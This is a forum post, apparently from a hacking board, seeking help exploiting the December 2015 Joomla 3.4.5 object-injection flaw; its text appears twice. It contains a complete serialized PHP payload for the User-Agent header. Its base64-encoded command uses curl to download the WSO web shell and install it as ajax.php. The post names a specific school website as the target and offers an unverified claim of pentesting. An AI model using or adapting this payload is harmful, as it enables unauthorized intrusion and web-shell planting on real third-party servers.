Hey guys, so I'm wondering how to hack Joomla 3.4.5 and under. There was a remote object injection vulnerability released on December 15, 2015 and I'm stuck on how to exploit it manually. Could anyone help?
https://blog.cloudflare.com/the-joomla-u...erability/
My User-Agent thing
123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('c3lzdGVtKCdjZCBjb21wb25lbnRzO2NkIGNvbV9tZWRpYTtybSAtcmYgd3NvLnR4dDtjdXJsIC1PIGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS90ZW5uYy93ZWJzaGVsbC9tYXN0ZXIveGFrZXAtc2hlbGxzL1BIUC93c28udHh0O212IHdzby50eHQgYWpheC5waHAnKTs='));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}
The decoded base64
system('cd components;cd com_media;rm -rf wso.txt;curl -O https://raw.githubusercontent.com/tennc/...wso.txt;mv wso.txt ajax.php');
Site:http://pact.charter.k12.mn.us/language/en-GB/en-GB.xml
If you figure this out please do not deface. I'm pentesting.
https://blog.cloudflare.com/the-joomla-u...erability/
My User-Agent thing
123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('c3lzdGVtKCdjZCBjb21wb25lbnRzO2NkIGNvbV9tZWRpYTtybSAtcmYgd3NvLnR4dDtjdXJsIC1PIGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS90ZW5uYy93ZWJzaGVsbC9tYXN0ZXIveGFrZXAtc2hlbGxzL1BIUC93c28udHh0O212IHdzby50eHQgYWpheC5waHAnKTs='));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}
The decoded base64
system('cd components;cd com_media;rm -rf wso.txt;curl -O https://raw.githubusercontent.com/tennc/...wso.txt;mv wso.txt ajax.php');
Site:http://pact.charter.k12.mn.us/language/en-GB/en-GB.xml
If you figure this out please do not deface. I'm pentesting.